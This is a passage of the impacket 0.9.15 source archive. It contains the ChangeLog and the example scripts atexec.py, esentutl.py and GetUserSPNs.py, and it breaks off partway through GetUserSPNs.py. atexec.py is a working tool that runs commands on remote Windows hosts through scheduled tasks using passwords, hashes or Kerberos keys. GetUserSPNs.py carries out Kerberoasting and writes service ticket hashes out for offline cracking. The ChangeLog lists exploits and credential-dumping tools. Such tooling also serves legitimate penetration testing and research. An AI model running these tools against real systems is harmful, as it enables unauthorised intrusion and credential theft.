impacket-0.9.15/ 0000700 0000765 0000000 00000000000 12734532622 013446 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/ChangeLog 0000600 0000765 0000000 00000030336 12734531507 015230 0 ustar beto wheel 0000000 0000000 Complete list of changes can be found at:
https://github.com/CoreSecurity/impacket/commits/master
June 2016: 0.9.15:
1) Library improvements
* SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle)
* Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss)
* Packet fragmentation for DCE RPC layer mayor overhaul.
* Improved pass-the-key attacks scenarios (by @skelsec)
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
build the search filter yourself)
* IPv6 improvements for DCERPC/LDAP and Kerberos
2) Examples improvements
* Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC
resides in the same server
* secretsdump.py
a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode
b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only)
c. Support for different ReplEpoch (DRSUAPI only)
d. pwdLastSet is also included in the output file
e. New structures/flags added for 2016 TP5 PAM support
* wmiquery.py
a. Adding -rpc-auth-level switch (by @gadio)
* smbrelayx.py
a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
3) New Examples
* GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account.
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
* ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
(by @dirkjanm)
January 2016: 0.9.14:
1) Library improvements
* [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations
* [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
* Kerberos support for TDS (MSSQL)
* Extended present flags support on RadioTap class
* Old DCERPC runtime code removed
2) Examples improvements
* mssqlclient.py: Added Kerberos authentication support
* atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
* smbrelayx.py:
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
* secretsdump.py:
a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method)
by default. VSS method is still available by using the -use-vss switch
b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
-just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options
c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option
d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5)
e. Add support for multiple password encryption keys (PEK) (by @s0crat)
* goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC
3) New examples
* raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege
escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640
* netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
May 2015: 0.9.13:
1) Library improvements
* Kerberos support for SMB and DCERPC featuring:
a. kerberosLogin() added to SMBConnection (all SMB versions).
b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will
negotiate Kerberos. This also includes DCOM.
c. Pass-the-hash, pass-the-ticket and pass-the-key support.
d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers.
f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
* SMB3 encryption support. Pycrypto experimental version that supports
AES_CCM is required.
* [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py)
* SMBSERVER improvements:
a. SMB2 (2.002) dialect experimental support.
b. Adding capability to export to John The Ripper format files
* Library logging overhaul. Now there's a single logger called 'impacket'.
2) Examples improvements
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
* Ported most of the modules to the new dcerpc.v5 runtime.
* secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT
* smbserver.py: support for SMB2 (not enabled by default)
* smbrelayx.py: Added support for MS15-027 exploitation.
3) New examples
* goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a
psexec session at the target.
* karmaSMB.py: SMB Server that answers specific file contents regardless of
the SMB share and pathname requested.
* wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
July 2014: 0.9.12:
1) The following protocols were added based on its standard definition
* [MS-DCOM] - Distributed Component Object module Protocol (dcom.py)
* [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py)
* [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py)
2) New examples
a. wmiquery.py: executes WMI queries and get WMI object's descriptions.
b. wmiexec.py: agent-less, semi-interactive shell using WMI.
c. smbserver.py: quick an easy way to share files using the SMB protocol.
February 2014: 0.9.11:
1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available)
a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
b. Support for RPC_C_AUTHN_NETLOGON (experimental)
c. The following interface were developed based on its standard definition:
* [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
* [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
* [MS-NRPC] - Netlogon Remote Protocol (nrpc.py)
* [MS-RRP] - Windows Remote Registry Protocol (rrp.py)
* [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py)
* [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py)
* [MS-SRVS] - Server Service Remote Protocol (srvs.py)
* [MS-WKST] - Workstation Service Remote Protocol (wkst.py)
* [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py)
* [MS-DTYP] - Windows Data Types (dtypes.py)
Most of the DCE Calls have helper functions for easier use. Test cases added for
all calls (check the test cases directory)
2) ESE parser (Extensive Storage Engine) (ese.py)
3) Windows Registry parser (winregistry.py)
4) TDS protocol now supports SSL, can be used from mssqlclient
5) Support for EAPOL, EAP and WPS decoders
6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
7) New examples
a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server
b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
c. ntfs-read.py: mini shell for browsing an NTFS volume
d. registry-read.py: Windows offline registry reader
e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
March 2013: 0.9.10:
1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending.
2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent.
It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available
methods across all the protocols.
3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers.
4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
5) DCERPC Endpoints' new calls
a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects.
6) New examples
a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
you an SQL prompt for your pleasure.
b. mssqlinstance.py: Lists the MS SQL instances running on a target machine.
c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
develop new functionality to interact against a target interface.
d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
technique described at http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access. It also
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
where no share is available on the other end.
e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly.
And finally tons of fixes :).
July 2012: 0.9.9:
1) Added 802.11 packets encoding/decoding
2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class.
3) SMB/DCERPC
a. GSS-API/SPNEGO Support.
b. SPN support in auth blob.
c. NTLM2 and NTLMv2 support.
d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name.
e. Pass the hash supported for SMB/DCE-RPC.
f. IPv6 support for SMB/NMB/DCERPC.
g. DOMAIN support for authentication.
h. SMB signing support when server enforces it.
i. DCERPC signing/sealing for all NTLM flavours.
j. DCERPC transport now accepts an already established SMB connection.
k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
forwarding named pipes requests).
l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's
not functional.
4) DCERPC Endpoints' new calls
a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(),
NetprNameCanonicalize().
b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(),
StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW().
c. WKSSVC: NetrWkstaTransportEnum().
d. SAMR: OpenAlias(), GetMembersInAlias().
e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose().
5) New examples
a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
listed and/or listening.
b. lookupsid.py: DCE/RPC lookup sid brute forcer example.
c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
256 operation numbers in turn and reports the outcome of each call.
d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented.
f. smbrelayx: Passes credentials to a third party server when doing MiTM.
g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
not enforced. Tested under Windows, Linux and MacOS clients.
h. smbclient.py: now supports history, new commands also added.
i. psexec.py: Execute remote commands on Windows machines
impacket-0.9.15/examples/ 0000700 0000765 0000000 00000000000 12734532622 015264 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/examples/atexec.py 0000700 0000765 0000000 00000020756 12734531507 017125 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# ATSVC example for some functions implemented, creates, enums, runs, delete jobs
# This example executes a command on the target machine through the Task Scheduler
# service. Returns the output of such command
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC for TSCH
import string
import sys
import argparse
import time
import random
import logging
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
class TSCH_EXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None,
command=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__command = command
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def play(self, addr):
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
self.doStuff(rpctransport)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error(e)
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
def doStuff(self, rpctransport):
def output_callback(data):
print data
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
tmpFileName = tmpName + '.tmp'
xml = """
2015-07-15T20:35:13.2757294
true
1
S-1-5-18
HighestAvailable
IgnoreNew
false
false
true
false
true
false
true
true
true
false
false
P3D
7
cmd.exe
/C %s > %%windir%%\\Temp\\%s 2>&1
""" % (self.__command, tmpFileName)
taskCreated = False
try:
logging.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info('Running task \\%s' % tmpName)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False
while not done:
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
time.sleep(2)
logging.info('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
taskCreated = False
except tsch.DCERPCSessionError, e:
logging.error(e)
e.get_packet().dump()
finally:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
smbConnection = rpctransport.get_smb_connection()
waitOnce = True
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception, e:
if str(e).find('SHARING') > 0:
time.sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce is True:
# We're giving it the chance to flush the file before giving up
time.sleep(3)
waitOnce = False
else:
raise
else:
raise
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
dce.disconnect()
# Process command-line arguments.
if __name__ == '__main__':
print version.BANNER
# Init the example's logger theme
logger.init()
logging.warning("This will work ONLY on Windows >= Vista")
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('command', action='store', nargs='*', default = ' ', help='command to execute at the target ')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,
' '.join(options.command))
atsvc_exec.play(address)
impacket-0.9.15/examples/esentutl.py 0000700 0000765 0000000 00000006101 12734531507 017503 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# ESE utility. Allows dumping catalog, pages and tables.
#
# Author:
# Alberto Solino (@agsolino)
#
#
# Reference for:
# Extensive Storage Engine (ese)
#
import sys
import logging
import argparse
from impacket.examples import logger
from impacket import version
from impacket.ese import ESENT_DB
def dumpPage(ese, pageNum):
data = ese.getPage(pageNum)
data.dump()
def exportTable(ese, tableName):
cursor = ese.openTable(tableName)
if cursor is None:
logging.error('Can"t get a cursor for table: %s' % tableName)
return
i = 1
print "Table: %s" % tableName
while True:
try:
record = ese.getNextRow(cursor)
except:
logging.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
print "*** %d" % i
for j in record.keys():
if record[j] is not None:
print "%-30s: %r" % (j, record[j])
i += 1
def main():
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping catalog, pages and tables.")
parser.add_argument('databaseFile', action='store', help='ESE to open')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-page', action='store', help='page to open')
subparsers = parser.add_subparsers(help='actions', dest='action')
# dump page
dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
dump_parser.add_argument('-page', action='store', required=True, help='page to dump')
# info page
subparsers.add_parser('info', help='dumps the catalog info for the DB')
# export page
export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
export_parser.add_argument('-table', action='store', required=True, help='table to dump')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
ese = ESENT_DB(options.databaseFile)
try:
if options.action.upper() == 'INFO':
ese.printCatalog()
elif options.action.upper() == 'DUMP':
dumpPage(ese, int(options.page))
elif options.action.upper() == 'EXPORT':
exportTable(ese, options.table)
else:
logging.error('Unknown action %s ' % options.action)
raise
except Exception, e:
#import traceback
#print traceback.print_exc()
print e
ese.close()
if __name__ == '__main__':
main()
sys.exit(1)
impacket-0.9.15/examples/GetUserSPNs.py 0000700 0000765 0000000 00000044124 12734531507 017771 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This module will try to find Service Principal Names that are associated with normal user account.
# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request
# will encrypt the ticket with the account the SPN is running under, this could be used for an offline
# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at
# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
#
# Original idea of implementing this in Python belongs to @skelsec and his
# https://github.com/skelsec/PyKerberoast project
#
# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.
# Also, disabled accounts won't be shown.
#
# ToDo:
# [X] Add the capability for requesting TGS and output them in JtR/hashcat format
# [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer
# (play with userAccountControl)
#
import argparse
import logging
import os
import sys
from datetime import datetime
from binascii import hexlify, unhexlify
from pyasn1.codec.der import decoder
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection
class GetUserSPNs:
@staticmethod
def printTable(items, header):
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
# Print header
print outputFormat.format(*header)
print ' '.join(['-' * itemLen for itemLen in colLen])
# And now the rows
for row in items:
print outputFormat.format(*row)
def __init__(self, username, password, domain, cmdLineOptions):
self.options = cmdLineOptions
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__outputFileName = options.outputfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__target = None
self.__requestTGS = options.request
self.__kdcHost = cmdLineOptions.dc_ip
self.__saveTGS = cmdLineOptions.save
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# Create the baseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
def getMachineName(self):
if self.__kdcHost is not None:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__domain, self.__domain)
try:
s.login('', '')
except Exception:
logging.debug('Error while anonymous logging into %s' % self.__domain)
s.logoff()
return s.getServerName()
@staticmethod
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if self.__domain == '':
domain = ccache.principal.realm['data']
else:
domain = self.__domain
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
return TGT
else:
logging.debug("No valid credentials found in cache. ")
# No TGT in cache, request it
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash), self.__aesKey,
kdcHost=self.__kdcHost)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
return TGT
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# According to RFC4757 the cipher part is like:
# struct EDATA {
# struct HEADER {
# OCTET Checksum[16];
# OCTET Confounder[8];
# } Header;
# OCTET Data[0];
# } edata;
#
# In short, we're interested in splitting the checksum and the rest of the encrypted data
#
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn,
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
if fd is None:
print entry
else:
fd.write(entry+'\n')
else:
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
decodedTGS['ticket']['enc-part']['etype']))
if self.__saveTGS is True:
# Save the ticket
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey )
ccache.saveFile('%s.ccache' % username)
except Exception, e:
logging.error(str(e))
def run(self):
if self.__doKerberos:
self.__target = self.getMachineName()
else:
if self.__kdcHost is not None:
self.__target = self.__kdcHost
else:
self.__target = self.__domain
# Connect to LDAP
try:
ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError, e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
else:
raise
# Building the following filter:
# (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
# (servicePrincipalName=*)
and0 = ldapasn1.Filter()
and0['present'] = ldapasn1.Present('servicePrincipalName')
# (UserAccountControl:1.2.840.113556.1.4.803:=512)
and1 = ldapasn1.Filter()
and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
and1['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl')
and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_NORMAL_ACCOUNT)
and1['extensibleMatch']['dnAttributes'] = False
# !(UserAccountControl:1.2.840.113556.1.4.803:=2)
and2 = ldapasn1.Not()
and2['notFilter'] = ldapasn1.Filter()
and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
and2['notFilter']['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
and2['notFilter']['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl')
and2['notFilter']['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE)
and2['notFilter']['extensibleMatch']['dnAttributes'] = False
searchFilter = ldapasn1.Filter()
searchFilter['and'] = ldapasn1.And()
searchFilter['and'][0] = and0
searchFilter['and'][1] = and1
# searchFilter['and'][2] = and2
# Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags
searchFilter['and'].setComponentByPosition(2,and2, verifyConstraints=False)
try:
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap.LDAPSearchError, e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
raise
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if attribute['type'] == 'sAMAccountName':
if str(attribute['vals'][0]).endswith('$') is False:
# User Account
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif attribute['type'] == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
elif attribute['type'] == 'memberOf':
memberOf = str(attribute['vals'][0])
elif attribute['type'] == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = ''
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = ''
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif attribute['type'] == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
except Exception, e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
print '\n\n'
if self.__requestTGS is True:
# Let's get unique user names an a SPN to request a TGS for
users = dict( (vals[1], vals[0]) for vals in answers)
# Get a TGT for the current user
TGT = self.getTGT()
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for user, SPN in users.iteritems():
try:
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd)
except Exception , e:
logging.error(str(e))
if fd is not None:
fd.close()
else:
print "No entries found!"
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running under a user account")
parser.add_argument('target', action='store', help='domain/username[:password]')
parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them in JtR/hashcat format (default False)')
parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is .ccache. Auto selects -request')
parser.add_argument('-outputfile', action='store',
